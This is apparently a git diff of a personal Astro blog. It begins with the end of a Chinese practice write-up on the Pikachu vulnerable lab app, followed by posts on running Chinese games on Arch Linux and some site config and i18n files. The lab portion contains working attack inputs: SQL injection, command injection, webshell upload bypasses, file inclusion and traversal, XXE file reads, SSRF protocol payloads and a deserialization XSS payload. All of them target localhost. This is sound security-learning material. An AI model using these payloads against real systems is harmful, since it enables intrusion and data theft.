sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch
|
||||
```
|
||||
|
||||
然后稍微排下序即可爆出数据库名字
|
||||
|
||||

|
||||
|
||||
### 盲注(base on time)
|
||||
|
||||
增加一个sleep(n)函数,加个判断,用回显时间的长短来判断,剩下的操作和上一样
|
||||
|
||||
**sqlmap**
|
||||
|
||||
```txt
|
||||
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_t.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch
|
||||
```
|
||||
|
||||
### 宽字节注入
|
||||
|
||||
引用大佬的链接[https://blog.csdn.net/aa2528877987/article/details/118569895 ](https://blog.csdn.net/aa2528877987/article/details/118569895)
|
||||
|
||||
```txt
|
||||
宽字节注入原理:
|
||||
|
||||
GBK 占用两字节
|
||||
|
||||
ASCII占用一字节
|
||||
|
||||
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
|
||||
|
||||
输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。
|
||||
|
||||
%DF’ :会被PHP当中的addslashes函数转义为“%DF\'” ,“\”既URL里的“%5C”,那么也就是说,“%DF'”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
|
||||
|
||||
例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=
|
||||
|
||||
其对应的sql就是:
|
||||
|
||||
select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”
|
||||
```
|
||||
|
||||
在’前面加个%df也就可以实现逃逸转义,然后burp抓包,剩下操作同上
|
||||
|
||||
## 0x06 RCE
|
||||
|
||||
### exec”ping”
|
||||
|
||||
```txt
|
||||
127.0.0.1&&dir
|
||||
#执行完ping指令后同时执行dir指令
|
||||
```
|
||||
|
||||
### exec”eval”
|
||||
|
||||
```txt
|
||||
直接输入 phpinfo();
|
||||
```
|
||||
|
||||
经过查看源码发现代码如下
|
||||
|
||||

|
||||
|
||||
于是尝试用蚁剑进行连接,最后发现修改如下可以成功连接
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 0x07 File Inclusion
|
||||
|
||||
### file inclusion(local)
|
||||
|
||||
```txt
|
||||
..\..\..\Users\sfd\Desktop\demo.txt
|
||||
#直接访问电脑桌面的文件
|
||||
```
|
||||
|
||||

|
||||
|
||||
### file inclusion(remote)
|
||||
|
||||
同标题,还是相同的位置,可以通过输入链接进行访问其他东西
|
||||
|
||||
## 0x08 Unsafe file download
|
||||
|
||||
### Unsafe file download
|
||||
|
||||
当鼠标悬浮在要下载的文件上时,发现左下角有详细链接
|
||||
|
||||
那么我们可以修改这个链接指向的filename来进行下载任意文件
|
||||
|
||||

|
||||
|
||||
要下载本地文件用法和[File Inclusion(loacl)](#File Inclusion(local))一样,直接在filename=后面添加想要下载文件的相对位置
|
||||
|
||||
## 0x09 [unsafe upfileupload]
|
||||
|
||||
### client check
|
||||
|
||||
先上传一张图片,然后burp抓包,修改后缀后放包即可
|
||||
|
||||
|
||||
|
||||
最后用蚁剑连接即可。
|
||||
|
||||
### MIME type
|
||||
|
||||
直接上传php木马,同样抓包,然后修改Content-Type 为 image/png 即可
|
||||
|
||||

|
||||
|
||||
### getimagesize()
|
||||
|
||||
添加了对文件进行判断有没有图片特征的函数,直接用cmd命令合成一个图片码即可绕过
|
||||
|
||||
```txt
|
||||
copy /b a.png + a.php b.png
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 0x10 over permission
|
||||
|
||||
### 水平越权
|
||||
|
||||
首先以lucy的身份进行登录,然后可以看到lucy的信息
|
||||
|
||||
```txt
|
||||
http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
|
||||
```
|
||||
|
||||
这时我们直接修改url里的username,将其指定为kobe,就可以直接查看kobe的信息
|
||||
|
||||
```txt
|
||||
http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
|
||||
```
|
||||
|
||||
### 垂直越权
|
||||
|
||||
pikachu用户只有查看权限,而admin用户有所有权限
|
||||
|
||||
首先登陆admin并添加用户,然后可以获得一个url地址
|
||||
|
||||
```txt
|
||||
http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php
|
||||
```
|
||||
|
||||
然后我们用pikachu用户登陆,然后直接输入上面的地址,发现可以进入添加用户界面,并且可以正常添加用户,回到admin用户后发现可以看到当前创建的用户
|
||||
|
||||
## 0x11 ../../(目录遍历)
|
||||
|
||||
### 目录遍历
|
||||
|
||||
```txt
|
||||
../../../../Users/sfd/Desktop/demo.txt
|
||||
#访问桌面的一个demo.txt 文件
|
||||
```
|
||||
|
||||
## 0x12 敏感信息泄露
|
||||
|
||||
### icanyourABC
|
||||
|
||||
F12进行元素审查时发现一个测试用户可以使用
|
||||
|
||||

|
||||
|
||||
## 0x13 php反序列化
|
||||
|
||||
### php反序列化漏洞
|
||||
|
||||
php涉及到序列化的函数有两个,分别是serialize()`和`unserialize()
|
||||
|
||||
序列化简单来说就是将一个**对象**转化成可以传输的**字符串**,反序列化就是相反的操作
|
||||
|
||||
```txt
|
||||
#举个例子
|
||||
class S{
|
||||
public $test="pikachu";
|
||||
}
|
||||
|
||||
$s=new S(); //创建一个对象
|
||||
serialize($s); //把这个对象进行序列化
|
||||
|
||||
|
||||
序列化后得到的结果是这个样子的 O:1:"S":1:{s:4:"test";s:7:"pikachu";}
|
||||
O:代表object
|
||||
1:代表对象名字长度为一个字符
|
||||
S:对象的名称
|
||||
1:代表对象里面有一个变量
|
||||
s:数据类型
|
||||
4:变量名称的长度
|
||||
test:变量名称
|
||||
s:数据类型
|
||||
7:变量值的长度
|
||||
pikachu:变量值
|
||||
```
|
||||
|
||||
反序列化
|
||||
|
||||
```txt
|
||||
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
|
||||
echo $u->test; //得到的结果为pikachu
|
||||
```
|
||||
|
||||
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
|
||||
|
||||
```txt
|
||||
常见的几个魔法函数:
|
||||
__construct()当一个对象创建时被调用
|
||||
|
||||
__destruct()当一个对象销毁时被调用
|
||||
|
||||
__toString()当一个对象被当作一个字符串使用
|
||||
|
||||
__sleep() 在对象在被序列化之前运行
|
||||
|
||||
__wakeup将在序列化之后立即被调用
|
||||
|
||||
漏洞举例:
|
||||
|
||||
class S{
|
||||
var $test = "pikachu";
|
||||
function __destruct(){
|
||||
echo $this->test;
|
||||
}
|
||||
}
|
||||
$s = $_GET['test'];
|
||||
@$unser = unserialize($a);
|
||||
|
||||
|
||||
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
|
||||
```
|
||||
|
||||
## 0x14 XXE
|
||||
|
||||
### XXE漏洞
|
||||
|
||||
前端将`$_POST['xml']`传递给变量`$xml,` 由于后台没有对此变量进行安全判断就直接使用`simplexml_load_string`函数进行xml解析, 从而导致xxe漏洞
|
||||
|
||||
```txt
|
||||
<!-- 打印hello world -->
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<!DOCTYPE note [
|
||||
<!ENTITY test "hello world">
|
||||
]>
|
||||
<name>&test;</name>
|
||||
|
||||
|
||||
<!-- 读取D盘根目录下的a.txt -->
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE ANY[
|
||||
<!ENTITY f SYSTEM "file:///D:/a.txt">
|
||||
]>
|
||||
<x>&f;</x>
|
||||
```
|
||||
|
||||
## 0x15 URL重定向
|
||||
|
||||
### 不安全的url跳转
|
||||
|
||||
修改url=后面的参数
|
||||
|
||||
```txt
|
||||
http://127.0.0.1/vul/urlredirect/urlredirect.php?url=https://baidu.com
|
||||
```
|
||||
|
||||
## 0x16 SSRF
|
||||
|
||||
- curl 支持更多协议,有http、https、ftp、gopher、telnet、dict、file、ldap;模拟 Cookie 登录,爬取网页;FTP 上传下载。
|
||||
- fopen / file_get_contents 只能使用 GET 方式获取数据
|
||||
|
||||
SSRF漏洞常用协议:
|
||||
|
||||
### SSRF(curl)
|
||||
|
||||
通过url参数直接访问内部资源,或者跳转到其他服务器页面
|
||||
|
||||
```txt
|
||||
HTTP(s):最常用到的一种协议,可以用来验证是否存在SSRF漏洞,探测端口以及服务。
|
||||
file:本地文件传输协议,可以用来读取任意系统文件
|
||||
dict:字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
|
||||
ghoper:互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。可用于攻击内网应用,可用于反弹shell。
|
||||
```
|
||||
|
||||
例:
|
||||
|
||||
```txt
|
||||
//访问内网链接资源
|
||||
http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info2.php
|
||||
|
||||
|
||||
//读取D盘根目录a.txt
|
||||
http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=file:///D:/a.txt
|
||||
|
||||
|
||||
//用dict扫描内网主机开放的端口,端口存在时显示不同的信息
|
||||
dict://192.168.1.66:80
|
||||
```
|
||||
|
||||
### SSRF(file_get_content)
|
||||
|
||||
利用file_get_content(“path”)利用传递的参数,通过file参数访问内部资源,或者跳转到其他服务器页面
|
||||
|
||||
```txt
|
||||
//直接读取内部文件
|
||||
http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=D:/a.txt
|
||||
```
|
||||
|
||||
php伪协议读取文件
|
||||
|
||||
```txt
|
||||
php://filter/read=convert.base64-encode/resource=D:/a.txt
|
||||
```
|
||||
|
||||

|
||||
|
||||
- **Title:** Pikachu练习记录
|
||||
76
src/content/posts/play-arknight-endfield-in-archlinux.md
Normal file
76
src/content/posts/play-arknight-endfield-in-archlinux.md
Normal file
@ -0,0 +1,76 @@
|
||||
---
|
||||
title: 在linux上玩 明日方舟:终末地
|
||||
published: 2026-02-02
|
||||
description: ''
|
||||
thumbnail:
|
||||
image: 'https://cdn.jsdelivr.net/gh/atdunbg/hexo_image_assets@main/images/arknight-endfield-wallpaper.jpeg'
|
||||
tags: [终末地, 游戏, archlinux, linux]
|
||||
category: '游戏'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
|
||||
|
||||
|
||||
兼容层用的是[dwproton](https://dawn.wine/dawn-winery/dwproton)。
|
||||
|
||||
|
||||
|
||||
相较于鸣潮那款游戏,使用dwproton让终末地的配置更加的简单,可以说是几乎不需要配置就可以完美的运行的那种。
|
||||
|
||||
|
||||
|
||||
以[archlinux](https://archlinux.org/)为例, 主要用到的有以下三样东西。
|
||||
|
||||
|
||||
|
||||
### 安装 [lutris](https://lutris.net/)
|
||||
|
||||
```bash
|
||||
paru -S lutris
|
||||
```
|
||||
|
||||
|
||||
|
||||
### 安装 [dwproton](https://dawn.wine/dawn-winery/dwproton)
|
||||
|
||||
根据官方介绍,dwproton是一个对一些动漫游戏有着特定的优化的一个兼容层。
|
||||
|
||||
下载dwpronton可以从官方仓库中下载也可以用[protonplus](https://github.com/Vysp3r/protonplus)
|
||||
|
||||
**安装protonplus**
|
||||
|
||||
```bash
|
||||
paru -S protonplus
|
||||
```
|
||||
|
||||
**通过protonplus安装 dwproton**
|
||||
|
||||
打开protonplus, 会自动检测你的安装环境,从左上角选择lutris,然后就可以看到有许多可以安装的包,这里选择dwproton,建议安装最新版本。
|
||||
|
||||
|
||||
|
||||
安装好后再次打开lutris就可以在wine 的设置中的`Wine 版本`找到刚才安装好的dwproton。
|
||||
|
||||
选中 dwproton 并保存。
|
||||
|
||||
### 安装 游戏本体
|
||||
|
||||
|
||||
|
||||
dwproton也可以兼容运行终末地的启动器,我们直接通过lutris 进行安装。
|
||||
|
||||
1. 点击lutris 中的左上角,点击加号,然后选择第二项`Install a Windows game from an executable`, 按照提示输入对应的游戏名字,想要安装的目录,最后选择提前下载好的终末地的启动器安装包。
|
||||
|
||||
官网在这里:[明日方舟:终末地](https://endfield.hypergryph.com/)
|
||||
|
||||
2. 启动launcher后直接默认路径安装即,安装完后,关闭当前窗口不选择立即启动。
|
||||
|
||||
3. 在lutris中一次点击 `右键刚刚安装好的项目`>`配置`->`游戏选项`->`主程序`, 将此项指定为 安装路径下的终末地启动器。路径一般为`/安装路径/drive_c/Program Files/Hypergryph Launcher/Launcher.exe`
|
||||
|
||||
然后,然后就没有然后了, 剩下就是向widows一样直接双击启动就行了,游戏下载好之后可以直接点击开始游戏启动,无需额外配置。
|
||||
|
||||
### 顺带一提
|
||||
|
||||
目前linux上 跑AI模型的效率要高于windows的,终末地在vulkan的加持下再启用nvidia的dlss,整体流畅度几乎能拉windows一条街。帧率稳定性都比windows要好很多。
|
||||
169
src/content/posts/play-wuthering-waves-in-archlinux.md
Normal file
169
src/content/posts/play-wuthering-waves-in-archlinux.md
Normal file
@ -0,0 +1,169 @@
|
||||
---
|
||||
title: 如何在 linux 上玩 鸣潮
|
||||
published: 2026-01-29
|
||||
description: ''
|
||||
image: 'https://cdn.jsdelivr.net/gh/atdunbg/hexo_image_assets@main/images/wuthering_waves_feibi.jpg'
|
||||
tags: [鸣潮, 游戏, archlinux, linux]
|
||||
category: '游戏'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
|
||||
> 个人用的是archlinux + kde/niri
|
||||
>
|
||||
> 主要是通过[proton-ge](https://github.com/GloriousEggroll/proton-ge-custom)去跑的,效果几乎和windows无差别,基本上无性能损失
|
||||
|
||||
## 1. 准备必要环境
|
||||
|
||||
### 1.1 安装steam
|
||||
|
||||
```bash
|
||||
# archlinux可以通过aur下载
|
||||
paru -S steam
|
||||
```
|
||||
|
||||
### 1.2 安装 proton-ge
|
||||
|
||||
[proton-ge](https://github.com/GloriousEggroll/proton-ge-custom) 是 steam 中的 proton的一个分支版本,属于社区版本,其对好些其他非steam游戏额外做了些支持。
|
||||
|
||||
建议手动下载仓库的包,然后解压到steam对应目录中
|
||||
|
||||
```bash
|
||||
# 下载proton-ge 文件 https://github.com/GloriousEggroll/proton-ge-custom
|
||||
|
||||
# 创建 以下文件夹
|
||||
mkdir ~/.steam/steam/compatibilitytools.d
|
||||
|
||||
# 解压下载的文件到 刚才创建的文件夹中
|
||||
tar -xf GE-Proton*.tar.gz -C ~/.steam/steam/compatibilitytools.d/.
|
||||
```
|
||||
|
||||
重启并打开`steam`->`设置`->`兼容性`
|
||||
|
||||
steam会找到刚才解压的GE-Protonxx-xx,选择此项,重启即可。
|
||||
|
||||
### 1.3 安装lutris(可选)
|
||||
|
||||
一款集成的强大的游戏管理器,我主要用他搭建一些其他游戏环境和管理一些游戏,可选安装,但是极度推荐。
|
||||
|
||||
如果仅仅只玩鸣潮的话,这个就没必要下载了。
|
||||
|
||||
```bash
|
||||
paru -S lutris
|
||||
```
|
||||
|
||||
## 2. 准备游戏
|
||||
|
||||
### 2.1 使用LutheringLaves
|
||||
|
||||
**这里比较推荐使用[LutheringLaves](https://github.com/last-live/LutheringLaves)(国内镜像:[gitee](https://gitee.com/tiz/LutheringLaves))这个项目进行安装,项目本身介绍比较全面,这里不做具体解释了。**
|
||||
|
||||
若使用此方法可以跳过`2.2 使用官方启动器`,请移步至`3. 配置steam启动非steam游戏`。
|
||||
|
||||
### 2.2 使用官方启动器
|
||||
|
||||
官方启动器使用有点麻烦,不太建议使用。
|
||||
|
||||
官方启动器在linux 不能通过正常方式打开,但,也不是没有解决办法。
|
||||
|
||||
这里推荐使用`lutirs`安装。
|
||||
|
||||
#### 2.2.1 安装官方启动器
|
||||
|
||||
进入[官网](https://mc.kurogames.com/)下载启动器。
|
||||
|
||||
打开lutris。
|
||||
|
||||
1. 首先配置wine的版本,选择左侧列表的wine的选项,在wine的版本选项中选择一个。
|
||||
|
||||
{% notel default fa-info tips %}
|
||||
下载wine的版本可以使用lutris内置的,也可以protonplus进行下载。
|
||||
|
||||
这里推荐使用protonplus。
|
||||
|
||||
protonplus可以轻松的以可视化管理wine的版本
|
||||
|
||||
```bash
|
||||
paru -S protonplus
|
||||
```
|
||||
|
||||
{% endnotel %}
|
||||
|
||||
2. 然后再lutris左上角点击加号,选择第二项`Install a Windows game from an executable`, 按照提示输入对应的游戏名字(用于自己辨识)
|
||||
|
||||

|
||||
|
||||
3. 选择想要安装的目录,然后选择对应的安装程序包路径即可。
|
||||
|
||||
安装完后,右键安装的图表,选择配置,将程序启动路径设为 `/安装路径/drive_c/Program Files/Wuthering waves/launcher.exe`
|
||||
|
||||

|
||||
|
||||
#### 2.2.2 修复启动黑屏
|
||||
|
||||
个人在使用官方起动器的时候发现是无法正常启动的,怎么打开都是黑屏,什么都没有渲染。
|
||||
|
||||
一个解决方案如下
|
||||
|
||||
```bash
|
||||
# 定位到启动器目录下
|
||||
cd /安装路径/drive_c/Program Files/Wuthering waves/2.5.0.0
|
||||
|
||||
# 备份
|
||||
mv launcher_main.dll launcher_main.dll.bak
|
||||
|
||||
# 通过以下命令使用bbe修改dll,生成新的launcher_main.dll
|
||||
# bbe可以通过 paru -S bbe 安装
|
||||
bbe -e "s/\x12AllowsTransparency/\x09IsEnabled\x1bA\x00\x03AAAAA/" launcher_main.dll.bak > launcher_main.dll
|
||||
```
|
||||
|
||||
之后就可以正常使用客户端启动器了,不过如果之后客户端启动器本身更新的话,可能需要在执行一次此步骤
|
||||
|
||||

|
||||
|
||||
## 3. 配置steam启动非steam游戏
|
||||
|
||||
1. 点击steam右下角加号添加非steam游戏,选择安装好鸣潮客户端启动程序。
|
||||
|
||||
启动程序路径一般是在 `/xxx/Wuthering Waves Game/`目录下,不过根据网上能够看到的大部分建议使用这个路径下的启动程序`/xxx/Wuthering Waves Game/Client/Binaries/Win64/Client-Win64-Shipping.exe`,个人测试两个启动程序都有效都可正常使用。
|
||||
|
||||
2. 添加游戏后右键次游戏选择`属性`,首先配置启动参数。在启动选项中填入一下参数,用于解决游戏启动ACE报错问题
|
||||
|
||||
```plaintext
|
||||
SteamOS=1 %command%
|
||||
或
|
||||
STEAMDECK=1 %command%
|
||||
```
|
||||
|
||||
3. 然后点击`兼容性`,启用 强制 用特定steam Play兼容性工具,然后选择之前下载的对应的`GE-Protonxx-xx`。
|
||||
|
||||
**至此**,此时就可以正常启动进入游戏里了,首次启动如果系统默认的编码是中文的话,在同意协议和首次手机号登录时候可能会有点乱码,不过不影响使用,登录之后就没有任何问题了。
|
||||
|
||||
## 4. 间断掉线问题解决
|
||||
|
||||
在玩游戏时候,会发现,游戏运行一段时间就显示与服务器失去连接,然后需要重新从主界面登录,比较影响体验, 目前找到的一个解决办法是:
|
||||
|
||||
修改这个目录下的文件内容
|
||||
|
||||
`/xxx/Wuthering Waves Game/Client/Binaries/Win64/ThirdParty/KrPcSdk_Mainland/KRSDKRes/KRSDKConfig.json`
|
||||
|
||||
将 KR_ChannelId 的值修改为 205
|
||||
|
||||
```diff
|
||||
{
|
||||
"KR_GameName": "鸣潮",
|
||||
...
|
||||
"KR_ProductId": "A1381",
|
||||
- "KR_ChannelId": "19",
|
||||
+ "KR_ChannelId": "205",
|
||||
"KR_ChannelName": "国内PC",
|
||||
"KR_ChannelOp": "null",
|
||||
...
|
||||
"KR_DATA_HOST": "https://mp-cn-sdklog.kurogames.com"
|
||||
}
|
||||
```
|
||||
|
||||
这个方法可以解决间断掉线问题,但是在每次首次打开游戏时候可能会提示一次 网络连接失败,点击重试即可,无伤大雅。
|
||||
|
||||

|
||||
28
src/content/posts/video.md
Normal file
28
src/content/posts/video.md
Normal file
@ -0,0 +1,28 @@
|
||||
---
|
||||
title: Include Video in the Posts
|
||||
published: 2023-08-01
|
||||
description: This post demonstrates how to include embedded video in a blog post.
|
||||
tags: [Example, Video]
|
||||
category: Examples
|
||||
draft: false
|
||||
---
|
||||
|
||||
Just copy the embed code from YouTube or other platforms, and paste it in the markdown file.
|
||||
|
||||
```yaml
|
||||
---
|
||||
title: Include Video in the Post
|
||||
published: 2023-10-19
|
||||
// ...
|
||||
---
|
||||
|
||||
<iframe width="100%" height="468" src="https://www.youtube.com/embed/5gIf0_xpFPI?si=N1WTorLKL0uwLsU_" title="YouTube video player" frameborder="0" allowfullscreen></iframe>
|
||||
```
|
||||
|
||||
## YouTube
|
||||
|
||||
<iframe width="100%" height="468" src="https://www.youtube.com/embed/5gIf0_xpFPI?si=N1WTorLKL0uwLsU_" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>
|
||||
|
||||
## Bilibili
|
||||
|
||||
<iframe width="100%" height="468" src="//player.bilibili.com/player.html?bvid=BV1fK4y1s7Qf&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe>
|
||||
15
src/content/spec/about.md
Normal file
15
src/content/spec/about.md
Normal file
@ -0,0 +1,15 @@
|
||||
# About Me
|
||||
|
||||
::github{repo="atdunbg/atdunbg"}
|
||||
|
||||
欢迎来到[Atdunbg](https://atdunbg.xyz)的小站, 这里是一个又菜又爱学的技术小白。
|
||||
|
||||
本人就读与一所郑州的不知名本科学院, 学的软件工程,目前已经大四了。
|
||||
|
||||
## 本站记录
|
||||
|
||||
> 2022 年 1月1日,本站问世,框架使用`hexo` + `butterfly`
|
||||
>
|
||||
> 2025年 12月12日主题迁移至 `Redefine`
|
||||
>
|
||||
> 2026年 3月6日框架迁移至`Astro` , 主题使用`Fuwari`
|
||||
2
src/env.d.ts
vendored
Normal file
2
src/env.d.ts
vendored
Normal file
@ -0,0 +1,2 @@
|
||||
/// <reference types="astro/client" />
|
||||
/// <reference path="../.astro/types.d.ts" />
|
||||
41
src/global.d.ts
vendored
Normal file
41
src/global.d.ts
vendored
Normal file
@ -0,0 +1,41 @@
|
||||
import type { AstroIntegration } from "@swup/astro";
|
||||
|
||||
declare global {
|
||||
interface Window {
|
||||
// type from '@swup/astro' is incorrect
|
||||
swup: AstroIntegration;
|
||||
pagefind: {
|
||||
search: (query: string) => Promise<{
|
||||
results: Array<{
|
||||
data: () => Promise<SearchResult>;
|
||||
}>;
|
||||
}>;
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
interface SearchResult {
|
||||
url: string;
|
||||
meta: {
|
||||
title: string;
|
||||
};
|
||||
excerpt: string;
|
||||
content?: string;
|
||||
word_count?: number;
|
||||
filters?: Record<string, unknown>;
|
||||
anchors?: Array<{
|
||||
element: string;
|
||||
id: string;
|
||||
text: string;
|
||||
location: number;
|
||||
}>;
|
||||
weighted_locations?: Array<{
|
||||
weight: number;
|
||||
balanced_score: number;
|
||||
location: number;
|
||||
}>;
|
||||
locations?: number[];
|
||||
raw_content?: string;
|
||||
raw_url?: string;
|
||||
sub_results?: SearchResult[];
|
||||
}
|
||||
37
src/i18n/i18nKey.ts
Normal file
37
src/i18n/i18nKey.ts
Normal file
@ -0,0 +1,37 @@
|
||||
enum I18nKey {
|
||||
home = "home",
|
||||
about = "about",
|
||||
archive = "archive",
|
||||
search = "search",
|
||||
|
||||
tags = "tags",
|
||||
categories = "categories",
|
||||
recentPosts = "recentPosts",
|
||||
|
||||
comments = "comments",
|
||||
|
||||
untitled = "untitled",
|
||||
uncategorized = "uncategorized",
|
||||
noTags = "noTags",
|
||||
|
||||
wordCount = "wordCount",
|
||||
wordsCount = "wordsCount",
|
||||
minuteCount = "minuteCount",
|
||||
minutesCount = "minutesCount",
|
||||
postCount = "postCount",
|
||||
postsCount = "postsCount",
|
||||
|
||||
themeColor = "themeColor",
|
||||
|
||||
lightMode = "lightMode",
|
||||
darkMode = "darkMode",
|
||||
systemMode = "systemMode",
|
||||
|
||||
more = "more",
|
||||
|
||||
author = "author",
|
||||
publishedAt = "publishedAt",
|
||||
license = "license",
|
||||
}
|
||||
|
||||
export default I18nKey;
|
||||
38
src/i18n/languages/en.ts
Normal file
38
src/i18n/languages/en.ts
Normal file
@ -0,0 +1,38 @@
|
||||
import Key from "../i18nKey";
|
||||
import type { Translation } from "../translation";
|
||||
|
||||
export const en: Translation = {
|
||||
[Key.home]: "Home",
|
||||
[Key.about]: "About",
|
||||
[Key.archive]: "Archive",
|
||||
[Key.search]: "Search",
|
||||
|
||||
[Key.tags]: "Tags",
|
||||
[Key.categories]: "Categories",
|
||||
[Key.recentPosts]: "Recent Posts",
|
||||
|
||||
[Key.comments]: "Comments",
|
||||
|
||||
[Key.untitled]: "Untitled",
|
||||
[Key.uncategorized]: "Uncategorized",
|
||||
[Key.noTags]: "No Tags",
|
||||
|
||||
[Key.wordCount]: "word",
|
||||
[Key.wordsCount]: "words",
|
||||
[Key.minuteCount]: "minute",
|
||||
[Key.minutesCount]: "minutes",
|
||||
[Key.postCount]: "post",
|
||||
[Key.postsCount]: "posts",
|
||||
|
||||
[Key.themeColor]: "Theme Color",
|
||||
|
||||
[Key.lightMode]: "Light",
|
||||
[Key.darkMode]: "Dark",
|
||||
[Key.systemMode]: "System",
|
||||
|
||||
[Key.more]: "More",
|
||||
|
||||
[Key.author]: "Author",
|
||||
[Key.publishedAt]: "Published at",
|
||||
[Key.license]: "License",
|
||||
};
|
||||
38
src/i18n/languages/es.ts
Normal file
38
src/i18n/languages/es.ts
Normal file
@ -0,0 +1,38 @@
|
||||
import Key from "../i18nKey";
|
||||
import type { Translation } from "../translation";
|
||||
|
||||
export const es: Translation = {
|
||||
[Key.home]: "Inicio",
|
||||
[Key.about]: "Sobre mí",
|
||||
[Key.archive]: "Archivo",
|
||||
[Key.search]: "Buscar",
|
||||
|
||||
[Key.tags]: "Etiquetas",
|
||||
[Key.categories]: "Categorías",
|
||||
[Key.recentPosts]: "Publicaciones recientes",
|
||||
|
||||
[Key.comments]: "Comentarios",
|
||||
|
||||
[Key.untitled]: "Sin título",
|
||||
[Key.uncategorized]: "Sin categoría",
|
||||
[Key.noTags]: "Sin etiquetas",
|
||||
|
||||
[Key.wordCount]: "palabra",
|
||||
[Key.wordsCount]: "palabras",
|
||||
[Key.minuteCount]: "minuto",
|
||||
[Key.minutesCount]: "minutos",
|
||||
[Key.postCount]: "publicación",
|
||||
[Key.postsCount]: "publicaciones",
|
||||
|
||||
[Key.themeColor]: "Color del tema",
|
||||
|
||||
[Key.lightMode]: "Claro",
|
||||
[Key.darkMode]: "Oscuro",
|
||||
[Key.systemMode]: "Sistema",
|
||||
|
||||
[Key.more]: "Más",
|
||||
|
||||
[Key.author]: "Autor",
|
||||
[Key.publishedAt]: "Publicado el",
|
||||
[Key.license]: "Licencia",
|
||||
};
|
||||
38
src/i18n/languages/id.ts
Normal file
38
src/i18n/languages/id.ts
Normal file
@ -0,0 +1,38 @@
|
||||
import Key from "../i18nKey";
|
||||
import type { Translation } from "../translation";
|
||||
|
||||
export const id: Translation = {
|
||||
[Key.home]: "Beranda",
|
||||
[Key.about]: "Tentang",
|
||||
[Key.archive]: "Arsip",
|
||||
[Key.search]: "Cari",
|
||||
|
||||
[Key.tags]: "Tag",
|
||||
[Key.categories]: "Kategori",
|
||||
[Key.recentPosts]: "Postingan Terbaru",
|
||||
|
||||
[Key.comments]: "Komentar",
|
||||
|
||||
[Key.untitled]: "Tanpa Judul",
|
||||
[Key.uncategorized]: "Tanpa Kategori",
|
||||
[Key.noTags]: "Tanpa Tag",
|
||||
|
||||
[Key.wordCount]: "kata",
|
||||
[Key.wordsCount]: "kata",
|
||||
[Key.minuteCount]: "menit",
|
||||
[Key.minutesCount]: "menit",
|
||||
[Key.postCount]: "postingan",
|
||||
[Key.postsCount]: "postingan",
|
||||
|
||||
[Key.themeColor]: "Warna Tema",
|
||||
|
||||
[Key.lightMode]: "Terang",
|
||||
[Key.darkMode]: "Gelap",
|
||||
[Key.systemMode]: "Sistem",
|
||||
|
||||
[Key.more]: "Lainnya",
|
||||
|
||||
[Key.author]: "Penulis",
|
||||
[Key.publishedAt]: "Diterbitkan pada",
|
||||
[Key.license]: "Lisensi",
|
||||
};
|
||||
38
src/i18n/languages/ja.ts
Normal file
38
src/i18n/languages/ja.ts
Normal file
@ -0,0 +1,38 @@
|
||||
import Key from "../i18nKey";
|
||||
import type { Translation } from "../translation";
|
||||
|
||||
export const ja: Translation = {
|
||||
[Key.home]: "Home",
|
||||
[Key.about]: "About",
|
||||
[Key.archive]: "Archive",
|
||||
[Key.search]: "検索",
|
||||
|
||||
[Key.tags]: "タグ",
|
||||
[Key.categories]: "カテゴリ",
|
||||
[Key.recentPosts]: "最近の投稿",
|
||||
|
||||
[Key.comments]: "コメント",
|
||||
|
||||
[Key.untitled]: "タイトルなし",
|
||||
[Key.uncategorized]: "カテゴリなし",
|
||||
[Key.noTags]: "タグなし",
|
||||
|
||||
[Key.wordCount]: "文字",
|
||||
[Key.wordsCount]: "文字",
|
||||
[Key.minuteCount]: "分",
|
||||
[Key.minutesCount]: "分",
|
||||
[Key.postCount]: "件の投稿",
|
||||
[Key.postsCount]: "件の投稿",
|
||||
|
||||
[Key.themeColor]: "テーマカラー",
|
||||
|
||||
[Key.lightMode]: "ライト",
|
||||
[Key.darkMode]: "ダーク",
|
||||
[Key.systemMode]: "システム",
|
||||
|
||||
[Key.more]: "もっと",
|
||||
|
||||
[Key.author]: "作者",
|
||||
[Key.publishedAt]: "公開日",
|
